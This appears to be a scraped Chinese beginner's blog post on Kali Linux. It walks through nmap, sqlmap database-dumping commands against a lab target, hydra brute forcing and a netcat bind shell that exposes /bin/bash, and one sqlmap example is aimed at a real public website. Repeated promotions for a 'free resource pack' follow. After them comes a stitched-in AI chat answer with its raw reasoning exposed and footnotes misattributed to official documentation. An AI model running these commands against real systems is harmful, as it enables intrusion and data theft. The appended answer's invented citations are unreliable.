【2024版】最新kali linux入门及常用简单工具介绍(非常详细)从零基础入门到精通,看完这一篇就够了

本文详细介绍了KaliLinux,一个专为渗透测试设计的Linux系统,包含了nmap、sqlmap、hydra和netcat等黑客工具的使用方法。作为新手入门教程,它概述了如何下载、安装和使用这些工具进行基础网络探测和漏洞扫描。
该文章已生成可运行项目,

前言

相信很多同学了解到和学习网络安全的时候都听过kali系统,大家都称之为黑客最喜爱的系统,那么什么是kali,初学者用kali能做些什么,大白我将在本文中做详细的介绍:

一、kali linux是什么?

Kali Linux 是专门用于渗透测试的Linux操作系统,它由BackTrack发展而来。在整合了IWHAX、WHOPPIX和Auditor这三种渗透测试专用Live Linux后,BackTrack正式改名为Kali LInux。没错,kali的本质也是linux系统,就好比以前的黑客经常使用一些工具,久而久之的大家就共同开源了一个集成了各种黑客工具系统。至于为什么黑客都喜欢使用kali,主要是在kali中工具齐全避免了在需要使用的时候发现工具需要再下载安装的麻烦

在这里插入图片描述

二、安装下载kali

kali的官网地址:https://www.kali.org

目前kali仍然在保持着更新,目前最新的kali系统为kali purple,里面继承了更多的防守方使用的工具。

下载解压后用vm打开即可,默认root账号密码均为kali,kali。没有用过VMware的同学可以先到网上学习如何下载vm。另外新手可能会遇到虚拟机没有网络的问题,新手我这里推荐配置网卡时选择直接连接,等之后了解到网卡网段的知识可以再自己配置想要的网卡信息。(左上角虚拟机,设置,网络适配器,桥接模式,复制物理网络连接状态)

三、kali常见工具介绍

在这里插入图片描述

正如刚才所说,kali里集成了大量的黑客工具和网络安全相关工具,可以说黑客需要做的所有事情在这个系统中都有工具可以实现。下面我推荐几个新手入门可以用到的小工具。

1.nmap

nmap被称为诸神之眼,是一款非常强大的网络探测工具,可以实现主机发现和端口扫描,同时自身也可带漏洞扫描的脚本可以完成对主机端口的漏洞扫描

nmap最基础用法:

nmap [目的ip]``nmap 192.168.1.10``   ``nmap [目的网段]``nmap 192.168.1.0/24

map也提供了大量的扫描时候可以设置的参数,下面将举例常用的参数:

添加参数可以显示出不同的扫描结果

2.sqlmap

sqlmap是针对sql注入漏洞的一款自动化sql注入探测工具,支持多种操作系统环境和多种数据库的漏洞探测,渗透测试人员常常调侃“没有什么操作技术,就是sqlmap一把梭哈,屏幕显示绿了就直接下班”

sqlmap的基本使用:

sqlmap -u "www.baidu.com"

大家尽量不要在未授权的情况下去对公网资产进行批量扫描,小心去踩缝纫机哦

下面我以sqli-lab里面的靶场为例:

出现图中绿色信息说明sqlmap对该参数成功注入,注意我的url中在最后以GET方式输入了参数id(/?id),如果不给sqlmap提供参数sqlmap是无法使用的哦

找到注入点后的步骤基本是确定的

 `sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1"  --dbs  #获取当前数据库服务所开启的数据库名称` `sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1"  -D 数据库名 --tables  #获取某数据库下的所有表名` `sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1"  -D 数据库名 -T 表名 --columns #获取D数据库下T表内的所有字段``sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1"  -D 数据库名 -T 表名 -C 字段名 --dump  #将该字段的内容全部获取出来并存储,在最后的信息中会有存储路径信息`

第一步获取数据库:

第二步获取数据库下表名:

第三步获取该表字段(其实到表名这一步可以直接–dump获取表里所有内容)

所以sqlmap的使用难处在于如何找到注入点,也就是找到产生sql注入的参数,在例子里参数是GET方式上传的“id”参数,下面提供一些sqlmap常用的参数

3.hydra

hydra又称九头蛇,是一款非常高效的多种协议都可以使用的爆破工具,对指定ip的指定服务进行爆破,需要输入爆破使用的字典或者自己指定爆破使用的数据(比如在已知账号为admin时爆破密码)

在kali中hydra有图形化和命令行两种使用方式

对于新手来说,图形化界面更加简易好用,下面介绍图形化使用

之后选择start就好了,hydra会使用字典中的所有账号密码去做登陆的爆破尝试

4.netcat

netcat简称nc,是一款目前最常用网络工具,它提供基于socket协议套接字针对TCP,UDP连接的网络使用,在具有nc使用权时几乎可以建立任何类型的连接,通常在渗透测试中用该工具获得目的ip的shell

nc简单使用方式:建立连接传输信息

主机1:开启对6666端口的监听

nc -lvp 6666

参数解释:

主机2:连接主机1的6666端口

nc 192.168.0.163 6666

nc常用使用:获取远程主机shell

1.正向连接shell

主机1:

nc -lvp 6666 -e /bin/bash

参数解释:

这里将主机1的/bin/bash重定向到了自己主机的6666端口

主机2:

nc 192.168.0.163 6666

大家可以思考一下为什么左边会有下面的报错呢?并且在执行sudo su尝试进入root权限时,必须在左侧主机输入密码才可以进入,进入后才会收到来自右侧发来的密码kali并且产生报错。可以尝试了解不同终端bash/zsh/sh的区别

总结

本文简单介绍了kali系统,只是适合对没有了解过的新手小白的一个引导

关于我

笔者本人 17 年就读于一所普通的本科学校,20 年 6 月在三年经验的时候顺利通过校招实习面试进入大厂,现就职于某大厂安全联合实验室。

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

感兴趣的可以访问我的往期文章:
VMware17.0安装教程【附安装包】

Nessus工具安装激活教程,三分钟手把手教会,非常简单
漏洞扫描工具AWVS介绍及安装教程
【2023最新版】超详细Burp Suite安装保姆级教程,Burp Suite的基本介绍及使用,收藏这一篇就够了

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包需要保存下方图片,微信扫码即可前往获取!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。

网络安全工程师企业级学习路线

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

一些笔者自己买的、其他平台白嫖不到的视频教程。

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包免费领取!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

本文章已经生成可运行项目
<think> 首先,用户的问题是:“我想获取kali linux入门精通的相关知识 请问kali linux入门精通的学习资料”。用户表示引用[1]仅供参考,不是真正需求,重点参考用户上一次的问题和我的回答。 回顾系统级指令: - 所有行内数学表达式必须使用$...$格式。 - 独立公式使用$$...$$并单独成段。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 在回答中引用的段落末尾自然地添加引用标识,如[^1]。 用户上一次的问题是什么?在对话历史中,用户说:“参考站内引用:引用[1]:... 我想获取kali linux入门精通的相关知识 请问kali linux入门精通的学习资料”。看起来这是当前的完整消息,没有前面的对话提到用户上一次的问题。在系统指令中,提到“参考用户上一次的问题和你的回答”,但在这个对话中,用户没有提及之前的交互。可能这是个新会话,或者是延续。检查上下文:在系统级指令的示例中,有“用户可见层”,但在这里,用户的问题是直接的。 在用户消息中,用户说:“上述引用仅供参考,并不是用户真正的需求,请尽可能多的参考用户上一次的问题和你的回答。” 但在提供的对话历史中,没有“用户上一次的问题”,这可能意味着我需要假设这是第一个问题,或者回顾之前的上下文。然而,在给定的文本中,只有这个用户的当前消息。 为了安全起见,我应该忽略引用[1],因为它被标记为仅供参考,并专注于用户的问题:用户想要Kali Linux入门精通的学习资料。 我的回答结构应该: - 清晰、逐步解决问题。 - 保证真实可靠。 - 使用中文。 - 生成相关问题。 Kali Linux是基于Debian的Linux发行,专注于渗透测试和信息安全入门精通的学习资料包括: 1. 官方文档和网站。 2. 书籍。 3. 在线课程。 4. 实践实验室和CTF。 5. 社区论坛。 步骤: 1. **入门阶段**:安装Kali Linux,基本命令学习。 2. **进阶阶段**:工具使用,如Nmap、Metasploit。 3. **精通阶段**:高级渗透测试技术,编写脚本,参与漏洞研究。 生成相关问题:在回答末尾添加§§相关问题§§。 添加引用:如果引用任何资料,末尾添加引用标识。但用户提供引用[1]仅供参考,所以我应该基于一般知识回答。 最终回答结构: - 引言:简要介绍Kali Linux。 - 学习路径:分阶段描述。 - 具体资源:列出书籍、网站等。 - 结尾:鼓励实践。 - 相关问题。 确保LaTeX:如果有数学表达式,使用$...$或$$...$$,但这个问题可能没有数学内容,所以可能不需要。 相关问题例子: 1. Kali Linux的基本命令有哪些? 2. 如何设置Kali Linux用于渗透测试? 3. Kali Linux有哪些常用工具? </think> ### Kali Linux入门精通学习指南 Kali Linux 是基于 Debian 的 Linux 发行,专注于渗透测试、网络安全和数字取证。它集成了数百种开源安全工具(如 Nmap、Wireshark 和 Metasploit),是信息安全从业者的必备平台。从入门精通的学习需要一个结构化路径,包括理论学习、实践操作和持续提升。以下我将逐步为您提供全面的学习资料和资源建议,确保内容真实可靠(基于官方文档、权威书籍和社区经验)。 #### 1. **入门阶段:基础知识与安装** - **目标**:熟悉 Linux 基础、安装 Kali Linux、掌握基本命令。 - **核心资源**: - **官方文档**:Kali Linux 官网提供了详细的安装指南和入门教程,包括虚拟机部署和硬件兼容性说明。建议从 [Kali Linux Documentation](https://www.kali.org/docs/) 开始,它覆盖了基本设置和工具介绍[^1]。 - **书籍推荐**: - 《Kali Linux Revealed》: 官方免费书籍,由 Offensive Security 团队编写。内容涵盖命令行操作、文件系统和网络基础,适合零基础用户。免费在线阅读:[Kali Linux Revealed](https://kali.training/)[^1]。 - 《Penetration Testing: A Hands-On Introduction to Hacking》 by Georgia Weidman:中文《渗透测试实践指南》,结合 Kali 工具讲解基础渗透概念。 - **在线课程**: - Udemy 上的《Complete Kali Linux Course》或 Coursera 的《Introduction to Cybersecurity Tools & Cyber Attacks》。这些课程通常包括视频教程和实验练习。 - **实践建议**: - 在虚拟机(如 VirtualBox)中安装 Kali Linux,避免影响主机系统。安装时,参考用户提供的换源方法(如中国科技大学源),确保软件更新高效: ```bash sudo vim /etc/apt/sources.list # 添加: deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib ``` 完成后运行 `sudo apt update && sudo apt full-upgrade` 更新系统。 - 练习基本命令:如 `ls`, `cd`, `apt install`, 和文件权限管理(例如 `$ chmod 755 script.sh` 设置权限)。 #### 2. **进阶阶段:工具掌握与渗透测试实践** - **目标**:熟练使用 Kali 工具进行漏洞扫描、网络嗅探和初步渗透。 - **核心资源**: - **官方工具文档**:每个工具Kali 官网有详细指南,例如 [Nmap](https://nmap.org/) 和 [Metasploit Unleashed](https://www.metasploitunleashed.com/)。 - **书籍推荐**: - 《The Hacker Playbook》系列 by Peter Kim:中文《黑客攻防实战》,结合 Kali 演练真实渗透场景。 - 《Kali Linux Cookbook》 by Willie L. Pritchett:提供分步骤的配方式教程,覆盖无线攻击、Web 应用测试等。 - **在线平台**: - TryHackMe 或 Hack The Box:提供交互式实验室,使用 Kali 工具解决模拟挑战(例如 CTF 比赛)。免费注册即可开始。 - YouTube 频道:如 The Cyber Mentor 或 NahamSec,提供免费视频教程。 - **实践建议**: - 搭建本地实验环境:例如用 Metasploitable(一个易受攻击的虚拟机)作为靶机,练习扫描和漏洞利用(运行 `$ msfconsole` 启动 Metasploit)。 - 学习脚本自动化:使用 Python 或 Bash 脚本简化重复任务(例如自动扫描脚本 `$ python3 scan_script.py`)。 #### 3. **精通阶段:高级技术与专业提升** - **目标**:深入漏洞研究、逆向工程、数字取证,并能开发自定义工具。 - **核心资源**: - **高级书籍**: - 《Advanced Penetration Testing》 by Wil Allsopp:覆盖高级绕过技术和红队操作。 - 《The Web Application Hacker's Handbook》 by Dafydd Stuttard:专注于 Web 安全测试,结合 Burp Suite 等 Kali 工具。 - **认证课程**: - Offensive Security Certified Professional (OSCP):官方认证课程,需使用 Kali Linux 完成实操考试。这是行业黄金标准,详情见 [Offensive Security](https://www.offensive-security.com/)[^1]。 - SANS Institute 的 SEC560:网络渗透测试课程,提供深度实验。 - **社区与论坛**: - Reddit 的 r/Kalilinux 和 GitHub 的开源项目:参与讨论和贡献代码。 - 博客如 Kali Linux Official Blog,提供最新工具更新和案例研究。 - **实践建议**: - 参与开源项目:例如在 GitHub 提交 Kali 工具改进代码。 - 模拟真实场景:使用平台如 TryHackMe 的 Pro Labs,解决复杂渗透任务。 #### 学习路径总结 - **时间估计**:入门阶段(1-2个月),进阶阶段(3-6个月),精通阶段(6个月以上)。坚持每周 10-15 小时学习。 - **关键提示**: - 始终在合法环境中练习(如自家实验室或授权平台),遵守道德规范。 - 结合理论学习和动手实验:Kali Linux精通关键在于实践,建议 70% 时间用于操作。 - 参考用户提供的源配置方法,确保更新高效,避免网络延迟问题[^1]。 通过以上资源,您将逐步从新手成长为 Kali Linux 专家。如果有具体问题(如某个工具的使用),欢迎进一步询问! [^1]: Kali Linux Documentation, Offensive Security, 2024.
评论 5
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值